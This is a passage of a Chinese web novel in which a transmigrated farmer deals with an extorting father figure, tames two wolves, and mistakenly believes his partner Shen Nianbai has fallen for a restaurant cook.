谢言道:“这你可就是好心当成驴肝肺了,是你喝多了非要上天,一个劲往树上爬,我们拉都拉不住,我们担心你摔下去才用绳子把你固定在树上的。”
“呸。胡说八道。”沈熊并不信他的。
谢言道:“我说的是真的,这么多人都看着呢,我还能骗你不成?”
沈熊一口咬定他在乱说,怎么也不相信他。
谢言蹲累了坐在沈熊对面,“沈三叔,你说这些就是不肯给钱,这可不行,我那么大一个摊子,就等着用钱呢,你不给钱咱们就给这儿耗着吧。”
沈熊看着谢言无赖的样子,十分气大,“你这是耍无赖。”
谢言叹气,“没钱嘛,追债还管什么无赖不无赖。”
沈熊道:“没钱你建什么房子?”
谢言道:“说来不怕你不信,我不是跟天悦酒楼做生意嘛,本来是有点小钱的,但都交税交得差不多了。”
沈熊完全不记得他喝醉的时候跟谢言说过什么,此时听到谢言的话心里有些打鼓,他问道:“你在这荒山野岭的,还懂交税呢?”
谢言闲聊般的说道:“我是不懂,但我王大哥懂啊,他跟我说了我就懂了。”
沈熊斜了他一眼,“你个谢家的人,哪来的什么王大哥?”
谢言压低了声音,“沈三叔,这事我跟你说了你可别说出去。”
沈熊看着他没有说话,谢言也不等他回答,继续说了起来,“我去街上卖果子,有个大娘跟我一见如故,还把我带去她家,后来我才知道原来她儿子是在县衙当捕头的。”
沈熊见他说得真真的,似信非信的问道:“真有这种事?”
谢言道:“我也不说是不是真的,我就跟你这么说吧,其实我知道沈念白的户籍都已经注销了。”
听到他的话,原本还不信的沈熊,瞬间严肃了起来,因为注销户籍的事只有官府的人才会知道的。
谢言见他神色就知道他信了,他继续说道:“我可去问了王大哥,既然沈念白已经销户了,那我这个沈念白可跟你没有关系了。”
沈熊喝道:“狗屁,要不是他几年不见人影,我也不至于去给他销户。他既然活着,自然还是我儿子。”
谢言笑了笑,“沈三叔,赶明你要是当了皇上改了律法,自然是你想怎么样就怎么样,但现在律法可不是你说的这样。”
沈熊道:“我去跟他滴血认亲,是我儿子这件事还跑得了。”
谢言道:“他的税是我给缴的,他的户籍在我这儿,在法律上他就是我的人,就算认了又怎么样呢?只要我不同意,他的户籍永远都得在我这儿。”
沈熊道:“老子去找张屠户,他侄子是里正,管的就是户籍,还搞不定你?”
谢言抿唇又笑了,“里正比捕头大吗?”
沈熊皱眉,里正当然比不了捕头,只是他依然怀疑谢言真的傍上了县里的捕头?
“谁知道你是不是唬我?”
谢言叹了口气,“算了,
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言尽于此,我只是想让大家都好过一点,既然沈三叔不领我的情,那你去找你的里正,我去找我的捕头大哥,就看撕破了脸皮,到底是谁后悔吧。”
谢言说完就站了起来,“沈三叔,我困了,先回去睡觉了。”
沈熊见他要走,连忙道:“你先把我给放了。”
谢言本来要下树的,听到他的话停了下来,转身朝他伸出手,“买鸡钱。”
沈熊白了他一眼,随即说道:“没带钱。”
“那我也没办法了。”谢言作势就要下跳,沈熊连忙喊住了他,“明天,我明天给你拿来行不行?”
谢言道:“万一你不拿来怎么办?”
沈熊道:“你觉得我是这种人吗?”
谢言看着他没说话,意思倒是表达得很清楚了,沈熊没好气道:“你也太看不起人了。”
“好吧,我相信沈三叔不是这样的人。”谢言蹲下身,双手放在了绳结上,“沈三叔,你可不能唬我。”
沈熊道:“没唬你。”
谢言这才解开了绳子,沈熊被绑久了,手脚都麻了,“哎哟”“哎哟”的叫唤,谢言也没有管他,径直下了树,在落地的一瞬间大声的说了声,“沈三叔,你还不快走,待会狼又来了。”
谢言说完就拔腿狂奔,沈熊见状吓了一大跳,也不管手脚麻不麻了,猛地从树上滑了下来,不要命的往前跑。
跑出了山,快到谢言家的时候沈熊看到两匹狼在谢言的家门口,许承志他们操着工具与狼对峙着。沈熊瞧见了,脸上露出讥诮的神色脚下却没停,一溜烟的就往家跑去了。
谢言回家也看到了两匹狼,以及两只被咬死的鸡,看着倒是没有恶意。而许承志他们之所有没有动手也是想到了之前村里说的,谢言是被野狼养大的,所以才等着谢言回来发话。
柳梦寒看到狼吓得腿都抖,看到谢言回来了,连忙问道:“谢言哥,咱们现在怎么办啊?”
谢言看着两匹狼,心里在想会不会是养大谢言的那两只?但狼在谢言眼里都长得差不多,时间又这么远了,谢言根本认不出来了,于是他选择问了系统。
‘这是养大谢言的两匹狼吗?’
系统回道,‘是。’
谢言又问道,‘它们这是什么意思?’
系统回道,‘未接入狼行为解读子目,请宿主自行辨别。’
谢言看着两匹狼,两匹狼也看着谢言,嘴角还沾着血迹,但它们只是站着,没有龇牙咧嘴,谢言本能的觉得它们并没有恶意,于是蹲下身朝它们招了手,“过来。”
柳梦寒听到他的话吓得拉紧了身旁的许承志,许承志下意识的拍了拍他的肩膀以示安抚。
在众人惊讶的目光中两匹狼竟然真的朝谢言走了过去,来到谢言跟前就停下了,此刻的众人脚都抓紧了,大气都不敢出。
谢言屏住呼吸,看着面前的绿幽幽的眼睛,慢慢的伸出手朝狼的脑袋上摸去。
就在谢言快要触摸到狼脑袋的一瞬间,柳梦寒实在担心,下意识的出声提醒,“谢言哥,你当心啊。”
64.第 64 章
直到谢言将手放在狼的脑袋上而没有任何事情发生的时候,众人包括谢言才重重的松了一口气。
开了头后面的事就顺理成章的继续下去了,谢言轻轻的摸了摸狼的脑袋,“你们是想留下来吗?”
空气中沉默了好了一会儿,柳梦寒才弱弱的提醒道:“谢言哥,你确定狼能听懂你的话吗?”
谢言不确定,所以他只是起身捡起了狼叼回来的鸡放到它们面前,“吃吧,要是想留下来的话就在屋前睡觉。”
跟狼说完话,谢言起身与众人说道:“都回去睡觉吧。”
柳梦寒指着狼,“那它们?”
谢言道:“不用管。”
“哦。”
众人这才散开了,谢言还没有吃饭,但柳梦寒怕狼,不敢跟狼待在一块,给谢言送了饭之后就跟着宋家人回房去了。
或许是这具身体从小被野狼养大的缘故,谢言倒不是很害怕,兀自端了饭在门前吃着,不远处两匹狼在吃鸡,空中全是嚼碎骨头的声音。
谢言吃完了饭,狼还没有吃完,谢言说道:“我洗澡去了,你们要走就走,不走就找地方睡觉。”
谢言回房拿了衣服,去河边洗了澡。
洗澡回来,没有看到狼,谢言还以为它们走了,结果就又晃到了竹屋旁边的两双绿眼睛,看来是被他打扰到了。
谢言笑了笑,将洗好的衣服晾好后进屋睡觉了。
谢言又梦到了沈念白,还是他在河边洗衣服的场景,只不过这次没有奇怪的事情发生,他就坐在屋前看着他,直到他洗完衣服回来晾,冰凉的水滴到了他的脸上,真实的触感让谢言睁开了眼睛。
谢言睁开眼睛屋里一片漆黑,他长长的叹了口气,坐了起来,靠在墙壁上,看着浓稠的黑暗,眼神落寞。
此时脑中的系统突然说话了,‘宿主,你明明可以把沈念白带回来的。’
谢言当然知道他可以把沈念白带回来了,但是沈念白想回来吗?或者说回来对沈念白来说是最好的吗?
系统又说道,‘你可以去问问他。’
谢言道,‘问了他肯定要回来。’
谢言知道沈念白是知恩图报的人,不管他心里真实的想法是怎么样的,只要谢言开了口,他必定会回来的。这也是谢言不能开口的原因,他不能这么自私。
系统道,‘那你就打算一直这样?’
谢言重新躺了下去,在闭上眼睛之前他回答了系统也回答了自己,‘我只是不习惯,等时间长了,习惯了就好了。’
系统又说道,‘那你不打算跟沈念白说你们现在已经算夫夫的事情?’
谢言刚刚闭上的眼睛又睁开了,这个问题他想了很久,但现在他才想出答案,‘等过段时间他安稳下来,在说吧。’
本来去到一个新的地方心里就不安,还要处理这么糟心的事,肯定会烦,还是等他适应了过后,在去说。
听到他什么都想好了,系统也没有话好说了,‘好吧。’
谢言躺在床上翻来覆去的折腾了好久才重新睡着。睁开眼睛是第二天了,谢言出门就看到柳梦寒一脸憋屈的在做饭,谢言问道:“你怎么了?”
柳梦寒看到他跟看到救命稻草一样,连忙朝他跑了过来,“谢言哥,你可算起来了。”
两匹狼跟在柳梦寒的身后,他跑它们也跑,他停它们也停下,它们抬头看着谢言,谢言蹲下身,“饿了?”
柳梦寒躲在谢言身后,“饿了就去捕猎,跟着我算怎么回事?”
谢言想起昨天他坐在灶前吃饭,于是跟柳梦寒说道:“大概是昨天晚上看到我吃饭,知道这里有东西吃,所以才跟着你。”
柳梦寒十分诧异,“这狼这么聪明呢?”
谢言没有回答,而是走向了灶边,同时问道:“有什么吃的没有?”
柳梦寒回道:“刚刚烙了一个饼子。”
谢言拿了饼子走到不远处,蹲下身,掰开递给狼,“来,尝尝。”
狼果然吃了,并且开始摇起了尾巴,谢言见状笑道:“原来你喜欢吃饼子啊。”
两匹狼很快就将一个饼子吃完了,谢言又拿了两个,很快就全部吃完了,并且摇着尾巴目光渴望的看着谢言,于是谢言又喂了好几个。
吃完了饼子,看起来就更温顺了,谢言伸手摸了摸它们的头,“既然喜欢吃饼子,就叫饼大饼二吧。行了,自己玩吧,我上山去了。”
谢言去屋檐下拿背篓,饼大饼二寸步不离的跟在他身后,柳梦寒见状不由得嘀咕道:“真有灵性。”
谢言笑了笑,“是啊。”
柳梦寒见他要上山,不由得担心,“谢言哥,等会沈熊要是再来捣乱怎么办?”
谢言笃定道:“放心吧,不会的。”
只要沈熊不是傻子,就会去证实他昨天说的话,而只要证实了他的话,沈熊碍于王捕头的威慑,自然不敢再来捣乱。
柳梦寒见他这么有自信,也没有在说什么了。
事实证明谢言的推测是对的,一连好几天沈熊都没有再来了。树上的果子又熟了一茬,谢言又牵着马去天悦酒楼送货。
天越来越热了,纵然谢言到天悦酒楼的时候太阳才刚出来就已经热得汗水直淌了。
来到天悦酒楼后院,沈念白已经在后院坐着理花了,他穿着黑色的长衫,低着头,几缕散发垂下将他的脸遮了大半,看不清神色,以至于谢言竟没有第一时间认出他来。反而是张乘风从厨房里出来看到谢言,热络的招呼他,“念白大哥。”
沈念白听到这声音才猛地抬起头来,“谢言哥。”
谢言这才认出他来,他有些不解,“这么热的天怎么穿黑色的衣服,头发也乱糟糟的。”
沈念白勉强的笑了笑,张乘风帮腔说道:“这样插的花更好看。”
谢言虽然不理解,但想着沈念白现在也算是艺术家了,艺术家都有点奇奇怪怪的,于是也接受了。
“插完了花还是把衣服换了,这得多热啊。”
沈念白望着他点头,“嗯。”
张乘风道:“念白大哥,你坐着,我去给你端碗绿豆汤来。”
谢言道了声,“多谢。”
张乘风笑道:“客气了,被二掌柜听见又要说我了。”
张乘风进了厨房,谢言找了个板凳
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坐下,沈念白也坐了回去,谢言问道:“在这儿还习惯吗?”
沈念白顿了一下点了头回道:“挺好的,家里好吗?”
谢言将饼大饼二的事情说了,沈念白听着眼里有了些光彩,他露出些不易察觉的向往神色,“真好。”
说话间张佳华来了,谢言便结束了闲谈,与张佳华打了招呼客套了几句,下完货,谢言就准备回去了。
临走时张佳华说道:“你明年一定要多种些辣椒,现在辣椒是有市无价了,花钱都买不到。”
谢言道:“嗯,我们正在大力开荒呢。”
张佳华道:“我们掌柜的说了,一定要尽早把荒开完,明年一定要提高产量,要是有困难,随时来找他。”
谢言点头,“我知道,我回去就多招些人,尽量早日把荒山都开出来。”
张佳华再次重申道:“有困难随时来找我们。”
谢言点了头,“好,我今天就先回去了。”
“嗯。”张佳华说完就指挥着工人搬货去了,谢言与沈念白说了声,“念白,我回去了。”
沈念白望着他好一会儿才恋恋不舍的点了头,谢言牵了马转身就走了,刚走出后院就听见沈念白追出来喊他,“谢言哥。”
谢言回身看向他,“嗯?”
沈念白抿了抿嘴唇,好一会儿才问道:“下一次,你什么时候来?”
谢言回道:“大概五六天吧。”
沈念白望着他,他张了张嘴,最终却只说了一个字,“好。”
“我回去了。”
谢言牵着马走了,没有看到身后的沈念白一瞬间就红了眼眶。
随着天越来越热,五六天去一趟县城已经赶不上果子成熟的速度了,谢言便改为了三天去一趟,每次都是匆匆的去匆匆的回,跟沈念白也说不上几句话。
沈念白每次都是一身黑色长衫,脸颊垂着几缕头发,谢言每回见了都觉得热得慌,说了好几次,每一次沈念白都答应得好好的,但下一次见他还是保持原样,慢慢的谢言也就不说了。
这天谢言走得渴得很,张乘风忙着炒菜没时间出来,没有绿豆汤喝,于是谢言就跟沈念白说:“有水吗?”
沈念白立马回道:“房间里有,我去给你倒。”
沈念白转身拿出钥匙开门,谢言看得奇怪,“你天天在这儿还要锁门啊?”
沈念白顿了一下,解释道:“房间里有花瓶,担心有人进去打碎了。”
谢言点头,也是,这个时代花瓶应该挺难得的。
进了屋,谢言一眼就看到了挂在柜子上的黑面具,上面什么图案都没有,看着挺瘆人的。
谢言问他,“这什么?”
沈念白看着一眼他看的方向,只看了一眼就收回了视线,一边倒水一边平静的回道:“面具,有时候会带。”
谢言问道:“带着找灵感?”
沈念白虽然不明白他说的是什么意思,但听着不像是不好的话,于是就点了头,“嗯。”
谢言拿着丑面具在脸上比划着试图理解沈念白的想法,但显然他根本理解不了,他想果然普通人跟艺术家是有壁的。
65.第 65 章
“谢言哥,喝水。”
谢言接过沈念白递过来的水时看到他手腕凸起的骨头,跟没肉似的,于是在他肩头捏了捏,皱眉说道:“这才多久怎么瘦成这样了?”
沈念白嘴角颤了颤,微微垂着头,语气低低的否认道:“没..没有啊。”
谢言眉头皱得更紧了,“这还没有,身上都没肉了。”
沈念白的头垂得更低了,他咬了咬牙,从喉咙逼出两个字来,“有吗?”
谢言看着难受,劝了他道:“干活别太拼命了,身体重要,说到底咱也只是个打工的,店里的声音不可能因为你少干而垮掉。”
话音一落就听见张佳华喊他,“谢言。”
谢言起身应道:“诶。”
谢言说这话就走了,没有注意到沈念白伸出来想要拉他的手。
谢言从屋里出来,解释道:“走累了,喝口水。”
张佳华热络的说道:“我楼上泡得有茶,下了货上楼喝茶去。”
谢言赶紧就拒绝了,“不麻烦了,这么热的天要我喝热茶跟要我命一样了。”
张佳华哈哈大笑,“热天就是要喝热茶才有滋味啊。”
谢言连忙摆手,“多谢张哥好意,我还是习惯喝水。”
下完货,张佳华问他,“真不去啊?”
谢言道:“真不去了,冬天的时候在来喝张哥的茶。”
张佳华也没有留他,“也行,太阳越来越大了,我也不留你了。”
谢言看向了门口站在的沈念白,朝他扬了扬下巴,“走了,念白。”
沈念白动了动嘴唇,像是笑了又像是没有,但阳光太刺眼了,谢言没有细看就牵着马走了。
转眼夏天就过去了,果子也基本收尾了,谢言去县城的次数也少了,从两三天去一回,到现在要半个月才去一回了,等过段时间,要一个月才去一次了。
这天,谢言拉着山上最后一点芒果和石榴去了县城。
秋天到了,早晚都凉爽了,但白天太阳晒着还是热,于是谢言跟往常一样早早的就出了门,这条路不仅他走熟了,连马也走熟了,以至于他来到天悦酒楼的时候天都还没有怎么亮,这么早酒楼没有客人,酒楼一片静悄悄的。
谢言牵着马来到天悦酒楼的后院,门没开,他想着人可能还没起,于是他也没有敲门,将马拴在后院的门上,自己则来到前门,小二正在打扫卫生,看到谢言来,很热情的与他打招呼,“谢老板,这么早啊。”
谢言回道:“早上不热。后院的门没开,我去开门,你忙着。”
小二应道:“你忙你忙。”
谢言来到后院,他去开门要路过沈念白的房门前,就在走到沈念白的房门前时他听见了里头传来了沈念白的声音。
“嗯,就是那儿。可以重..重一点。”
熟悉的声音在此刻却变得尤为陌生,旖旎的声调让谢言如遭雷击,他顿时就愣住了。
“这儿吗?”
谢言听出来了这是张乘风的声音,他一瞬间就明白了,难怪张乘风一直对他这么热情,原来是这么回事。
谢言一股无名火冒了起来,上前就想砸门,但是走到跟前他又停了下来,因为他听到屋内的张乘风说,“我觉得这事你还是跟你大哥说说。”
但沈念白却拒绝了,“不用。”
张乘风叹了口气,“随你吧。”
谢言突然泄了气,砸了门又能怎么样呢,除了让沈念白难堪还有什么用?
谢言高高的举起的手又轻轻的放下了,他甚至没有打开后院的门,又折返回了大堂。
小二见他回来,问道:“谢老板,今天不看着下货啊?”
谢言不知道怎么回答,刚好来到客人,小二忙着招呼客人去了,也就没有管他了。谢言在角落里坐了下来,他的心情乱糟糟的,他的思绪也是一团乱,好像想了很多,但又什么都没有想。
坐了一会儿,张佳华下楼看到他,见他坐在角落里十分惊讶,“谢言,你什么时候来的?”
谢言被他的声音扯回了思绪,起身回道:“来了一会儿了,走累了,坐会儿。”
张佳华见他心不在焉的样子,还以为他没睡好,所以问道:“要不要去楼上补个觉?”
谢言连忙拒绝了,“不用了,坐了会好多了,我拉了些货来,我先去把货下了。”
张佳华道:“行,我去喊人。”
张佳华喊人去了,谢言捏着钥匙再一次来到了后院,他走得小心翼翼的,直到他听到厨房响起了炒菜的声音才放下了心,他看向了沈念白的房间,房门还紧缩着,没有一点动静,谢言抿了抿强迫自己移开了视线。
打开后院的门,幸好马还在,东西也还在。
张佳华叫人来下完了货,见谢言又在发神,便问了他,“你怎么了,心不在焉的。”
谢言想了想,还是打算问问张佳华,他道:“我有点事想跟张哥打听打听。”
张佳华爽快的拍着他的肩膀,“走,上楼喝茶去。”
上了楼,张佳华亲自泡了茶,他的动作行云流水,十分具有观赏性,但现在谢言完全没有看进眼里,他试探的问道:“咱们酒楼一共多少个厨子啊?”
张佳华回道:“七个。”
谢言问道:“为什么我每次来都只看到张乘风呢?”
张佳华看了他一眼笑道:“因为张乘风是主厨,他可以出来透气,其他的都不行。”
谢言没想到张乘风竟然是主厨,他问道:“他来店里多久了?”
张佳华回道:“七八年了吧。”
谢言继续问道:“那他年龄不小了吧,成亲了吗?”
张佳华回道:“二十五六吧,年前我跟他聊天还没有成亲呢,他说没时间,也没想那些事。怎么了?”
谢言模棱两可的说道:“我看他跟念白似乎关系挺好的。”
张佳华想了想,“是,他们俩关系是挺好的,经常都看到他们在后院一块干活说话呢。”张佳华看着谢言脸色不大好,又继续说道,“之前我还在开张乘风开
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玩笑,说他是不是喜欢念白,他也没有否认。”
谢言放下桌下的手紧了又紧,但话到嘴边却变成了,“不会吧,念白才来几个月,还不熟呢。”
张佳华看着谢言笑道:“这爱情不比别的,看对眼也就一瞬间的事,你说是吧?”
谢言没有说话,张佳华又说道:“我看念白也挺喜欢乘风的,前几天我还看到念白给乘风擦汗呢,你说这..”
他话还没有说完,谢言就猛地站了起来,对上张佳华错愕的眼神,他慌张的解释道:“我突然想起家里还有点事,我先回去了,下次在来喝茶。”
谢言说完就急急忙忙的出了房门,张佳华看着谢言的背影,微微的勾起了唇,他也起身去了钟程台的房间。
谢言从楼上下来,急急的来到后院,结果遇到了张乘风,张乘风看到谢言热情的喊他,“念白大哥。”
谢言狠狠的看了他一眼,牵着马头也不回的走了。
张乘风看得纳闷,“念白大哥,你这就走了啊?”
听到声音的沈念白急匆匆的从屋里出来,他的衣衫有些凌乱,急急的问了张乘风,“谢言哥呢?”
张乘风道:“走了。”
沈念白瞪大了眼睛,有些不敢置信,“走了?”
张乘风点头,“看他走得挺急的,不知道是不是有什么事?”
沈念白皱起了眉头,张乘风此时提醒他,“衣服。”
沈念白低头看着自己歪歪扭扭的衣服,转身回房去了。
一直到柳梦寒喊他,“谢言哥。”谢言才意识到自己竟然已经回到家了,他一直在想他在沈念白门前听到的那几句话,怎么走回来的都不知道。
柳梦寒见谢言的脸色不对,问他,“谢言哥,你怎么了?”
谢言将马绳交给他,什么话都没有说,径直上了山。
柳梦寒看着他急匆匆的背影,提醒道:“你不背背篓啊?”但谢言像是没有听到一般,直直的往山上去。
柳梦寒看着他的背影,又看了看手里的马绳,十分纳闷,“怎么了这是?”
谢言上山径直来到穿越过来的那个山洞,天光大亮,山洞里也很亮,他走了进去,在地上躺了下去,泥土冰凉的触感让他觉得血液都冷了下来。
谢言从没有想过他和沈念白的结局,他下意识的以为他们真的会永远在一起,即便不是爱人,也会像亲人一样,永远的一起守着灵秀山。
谢言闭上了眼睛,他想着这些年的点点滴滴,只有在回忆里他才觉得他抓住了沈念白,他开始后悔,如果他不去卖果子就好了,他们就能守着灵秀山一辈子,谁也不离开。
对,他就不应该去卖果子,不应该去天悦酒楼,不应该想着赚钱,房子他一个人花十年二十年也能建起来,没有了沈念白,有了房子又有什么意义呢?
谢言从上午躺到了晚上,夜幕沉沉,黑暗将他完全的吞噬了,意识开始模糊,迷迷糊糊的他听到有人在喊他。
“谢言哥。”“谢大哥。”“谢大哥。”
66.第 66 章
呼喊的声音越来越大,谢言睁开眼睛看到了不远处的亮光,莹莹点点的,在夜色中很显眼。谢言看着那光,视线慢慢的聚拢,他从地上坐了起来,起身掸了掸身上的灰尘走出了山洞,陡然增大的亮光让谢言突然释然了,虽然他也不知道为什么,但就是突然没有那么难过了。
夜风穿林而过,带走了一天的燥热,谢言深吸了一口气,高高的应了一声,“这儿。”
柳梦寒和许承志他们听到声音赶紧找了过来,见谢言完好无损的站着,众人都长松了一口气,许承志拐了拐柳梦寒,柳梦寒被他拐得往前踉跄了一步,这才有些尴尬的开口问道:“谢言哥,你还好吧?”
谢言看着大家脸上的担忧,回了句,“没事了,咱们回去吧。”说完谢言率先抬脚往山下走去,许承志和柳梦寒跟在他身后,许承志又拐了拐柳梦寒,柳梦寒侧头瞪了他一眼,许承志有些心虚,趁他愣神的机会柳梦寒狠狠的踩了他一脚,许承志痛得大叫了一声。
柳梦寒心情大好,往前跑了两步走到谢言身边,“谢言哥,你今天去县城是出了什么事吗?”
谢言摇头,随口胡诌着谎话,“没有,只是回来的路上想到点事,就上山来验证验证。”
柳梦寒并不知道他到底是怎么回事,自然是相信他说的,他问道:“什么事啊?”
谢言想了一下,愣是给他把理由想出来了,他说:“我小时候是被野狼养大的,五年前我下了山就跟野狼走散了,慢慢的连它们的样子也忘记了,今天回家的路上我突然意识到饼大饼二会不会就是之前养大我的那两匹狼,我就上山来找找小时候的记忆。”
柳梦寒恍然,这么说起来,那确实很合理,他问道:“想起来了吗?”
谢言回道:“想起来了不少,应该就是饼大饼二。”
柳梦寒道:“难怪饼大饼二这么通人性。”
谢言点了点头,没有在说下去了。
一行人回到家中,一幢大房子跟现代的别墅一样,已经建好了,只等彻底打扫一遍就可以住进去了,所以现在谢言还是住在竹屋里。
柳梦寒说道:“留了饭,我盛给你。”
谢言虽然没有胃口,但也没有说不想吃,任由柳梦寒盛了饭给他,谢言接过碗与柳梦寒说道:“你忙去吧。”
柳梦寒也没有打算守着他吃,他的活还多着呢,听了谢言的话就忙去了。
谢言端着碗,饼大饼二从狼窝里起来来到他身边打转,这种动作一般都是饿了,正好谢言也不想吃,于是将饭倒进了狼碗里,蹲在旁边看着饼大饼二吃。
“饼二,你的肚子怎么这么大?是不是吃太多了,这么胖以后还跑得起来吗?”谢言无意中看到饼二的肚子,圆鼓鼓的,对比才来的时候跟河豚充了气似的。
谢言看了一会儿,又觉得没意思了,于是起身进屋睡觉了。但他一躺到床上心就又开始想沈念白了,越想越难过,最后连眼泪都止不住了,于是谢言索性起床,背着背篓上了山。
进入秋天,地里的菜也收得差不多了,该翻土准备秋播了,于是谢言扛着锄头,精神抖擞的翻了一晚上的地。
第二天一大早,谢言背着慢慢一背牛草回家,被做早饭的柳梦寒看见了,他还惊讶,“谢言哥,今天起这么早呢?”
谢言头也没抬的回道:“早上凉快。”
柳梦寒点头,“现在早晚都退了凉,不像之前那么热了。”
谢言背着牛草喂牛,突然听到柳梦寒惊慌的声音,“谢言哥,他又来了。”
一听这话就知道没好事,谢言将手里的草扔了出去,出来一看,沈熊。
谢言看着他,语气温和的说道:“沈三叔是来给之前的鸡钱的吧,一共两百文给我就是了。”
沈熊骂了一声,“放屁,今天我是来找你要钱的。”
谢言不解的问道:“哦?我可不记得有欠过沈三叔的钱。”
沈熊径直走到院内的椅子坐下,拍了桌子说道:“你诓骗了我儿子就这样跟了你,你以为我就会这样算了?”
听他说这话,谢言就知道他肯定去官府核实过了,他没有说话,看着沈熊,看他到底想怎么样。
沈熊继续说道:“你别以为我不知道,沈念白现在在天悦酒楼,无媒苟合要是传出去,你们俩这辈子就完了,他沈念白也别想在在县城待下去。”
谢言的心情本来就不好,刚才只是可以压制着,现在是压都压不住了,他沉下脸,直接问道:“你想怎么样?”
沈熊朝他伸出五个手指,“五十两,给我这件事就此作罢,我沈熊就当没有他这个儿子。”
谢言不敢置信,“五十两?”
沈熊扫了一眼身后的大房子,“谢老板不会是觉得多吧,你都能建这么大的房子了,不会五十两都拿不出来吧?”
见谢言不说话,沈熊继续说道:“你要是不给,明天我就上天悦酒楼去闹去,我要让所有人都知道他沈念白是个不要脸的,小小年纪就跟男人跑了。”
谢言看着沈熊狰狞的面孔,他实在不想在听这种难听诋毁沈念白的话了,他道:“给我三天时间,我给你五十两,到时候你要写契书。”
沈熊道:“只要钱到位,什么都给你写。”
谢言回道:“好。”
沈熊起身,“那我就给我三天时间,三天后我会来拿钱,你要是敢骗我,哼哼,我会让你知道我的厉害。”
谢言沉着脸没有说话,沈熊看了谢言一眼,转身离开了。
沈熊走了,谢言还站在院子里一动不动,柳梦寒连忙跑过来,问道:“谢言哥,他来说什么啊?”
谢言长长的叹了一口气,“你让我静静。”
柳梦寒见谢言的脸色非常差,也不敢多说了,只是说了句 ,“谢言哥,要是有什么需要我们做的,你开口就是。”说完就走出了院子,谢言闭了闭眼睛,靠在墙壁上想了许多。
肯定不能让沈熊把沈念白的清白毁了,能拿出来这么多钱的只有钟程台,他得赶紧去找钟程台。
谢言去马棚牵了马,柳梦寒看见问他,“谢言哥,你要去县城?”
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>谢言回道:“嗯,我去找钟大哥说点事。”说话间谢言看见了屋檐下的那盆兰花,自从被装在盆里后就一直长得不太好,最近都已经开始蔫吧了。谢言忍不住想,即便他每天都浇水,还是养不好。
或许养花跟养人一样,不是全心全意就行了的,还要有缘分。
他跟沈念白的缘分就像这盆兰花一样,他在怎么用心也挽回不了。
谢言上前端上了兰花,既然他养不好,就还给能养好的人吧。
谢言第一次没有赶路,他走了一会儿,甚至坐到了马上,任由马慢悠悠的走,从早上出发一直走到快中午才到了天悦酒楼。
谢言牵着马来到后院,这个时候天悦酒楼正是忙的时候,连沈念白都在帮忙摘菜,他看到突然出现的谢言十分惊讶,“谢言哥。”
谢言看到他的一瞬间鼻头就酸了,但他还是强忍着点了头,“你先忙,我去找钟大哥说点事。”
沈念白应声,“好。”
谢言熟练的将马栓到了马棚里,将兰花抱在怀里,走到前堂,小二跑得都快飞起来了,但看到谢言还是跟他打了招呼,“谢老板。”
谢言问道:“钟大哥在吗?”
小二回道:“在。”
小二实在太忙了,说完这句话就跑远了,谢言深吸了一口气,然后转身上了楼。
穿过长长的走廊,走到钟程台的房间,谢言在门口站了一会儿,才抬手敲门。
“钟大哥。”
话音一落钟程台的声音就响了起来,“进来。”
谢言推开门就看到房间里放了好几盆花,纵然花色不同,但大多都是菊花,钟程台就站在花盆前,见到谢言就与他招手,“快过来。”
谢言进了屋,钟程台看到他手上的蔫巴巴的兰花,问道:“你这是?”
谢言回道:“哦,家里的兰花,以前是念白养的,自他走了过后就蔫吧了。”
钟程台问道:“没看错的话这是宋梅吧?”
谢言对花不懂,但他也知道这是兰花,不是梅花,于是他说:“这是兰花,不是梅。”
钟程台听到他的话笑了笑,解释道:“宋梅就是兰花。”
谢言知道自己闹了笑话,“我对花不懂。”
钟程台又问道:“这是你山上发现的?”
谢言回道:“是念白在山上挖的,我也不知道他在哪里挖的。”
钟程台道:“你来得正好,花都供应不上了,你看看你那山上能不能腾点地方种些花?”
谢言反正是卖货,只要有人买,种什么都一样,而且他现在有求于钟程台,答应得十分痛快,“钟大哥有需求,就算不能种我想办法也要种上。”
“有你这句话我就放心了。”钟程台说完叹了口气,“花供应不上,插花也得断了,生意肯定要滑一截。”
谢言不知道怎么接话,就只十分客套的说了句,“有钟大哥在,肯定不会的。”
钟程台本来也没有指望他说什么,只是笑了笑转了话题问了他,“你今天来找我有什么事啊?”
67.第 67 章
谢言心里乱糟糟的,说话也不委婉,“钟大哥,我想先预支五十两货银。”
钟程台见他状态不对,关心的问道:“可是家中出了什么事?”
谢言回道:“遇到一点小麻烦。”
钟程台见他没准备说也没有在问了,他爽快的应道:“我叫账房先支七十两给你,这几天我让账房把这几个月的货款算出来,到时候给你。”
谢言道:“多谢钟大哥。”
钟程台道:“你既喊我一声大哥,就别这么客气,有什么事情一定要跟大哥说。”
谢言心里感动,只能在说了一遍,“谢谢钟大哥。”
钟程台起身拍了拍他的肩膀,“除了钱还有什么我能帮的没有?”
“钱就能够了。”谢言回道,“我还有点事,就不打扰钟大哥了。”
钟程台点头,“等你忙完了,咱哥俩在好好聊聊。”
谢言应了,转身出了门,随后他听到屋内的钟程台在喊人吩咐着给他拿钱的事。
谢言下了楼,他看着后院的门有些失神,小二跟他打招呼他都没有听见,他一步一步的走到后院。
来到后院就看到沈念白正在打理花材,这是最后一批花材了,沈念白打理得异常认真,他还是穿着黑色的袍子,头发垂在脸前看不清神情。
谢言在沈念白三步远的距离停了下来,他望着沈念白,陡然觉得现在的沈念白已经跟当初在灵秀山穿粗布麻衣的沈念白完全不一样了。
他灼热的视线引起了沈念白的察觉,他抬起了头,在谢言的一瞬间惊喜出声,“谢言哥。”
沈念白站了起来,拍了拍落在身上的叶子,“渴了吧,我给你倒水喝。”
谢言从干涸的喉咙里挤出两个字,“不用。”
沈念白发觉了谢言的不对劲,他诧异的看着他突然间变得通红的眼眶,“谢言哥,你怎么了?”
谢言看着他,吸了吸鼻子,将捧了一路的兰花递给他,“抱歉,我养不好这么漂亮的话,还是还给你吧。”
听到他的话沈念白猛地皱起了眉头,“谢言哥,你这是什么意思?”
谢言不接他的话,自顾自的说了下去,“我最近都不会来了,你要好好的照顾自己。”谢言说着就哽咽了,他低下头强忍着心里的难受,“家里的房子修好了,有机会的话可以回去看看,哦,可以带上你的乘风哥。”
谢言说出这句话就转身离开了后院,他快步来到前堂,看到了倚在桌子上闲得瞧桌子的张佳华,他来不及整理情绪,只是略微低着头,客气的喊了声,“张哥。”
张佳华也没有问他怎么回事,只是说道:“掌柜的让我给你的,七十两,你点点。”
“不用点了,我家里还有事,我先回去了。”谢言拿着钱就急匆匆的离开的天悦酒楼,脚步快得跟跑一样。
回去的路上谢言走得极慢,一个时辰的路他走了快三个时辰,他回到灵秀山的时候天都快黑了。
